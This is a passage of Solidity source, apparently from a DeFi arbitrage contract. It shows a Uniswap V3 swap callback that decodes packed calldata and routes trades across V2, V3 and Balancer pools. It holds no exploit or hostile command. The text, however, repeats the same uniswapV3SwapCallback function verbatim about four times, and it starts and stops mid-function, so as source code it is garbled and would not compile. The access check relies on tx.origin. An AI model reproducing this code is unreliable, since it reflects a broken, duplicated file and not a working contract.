amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
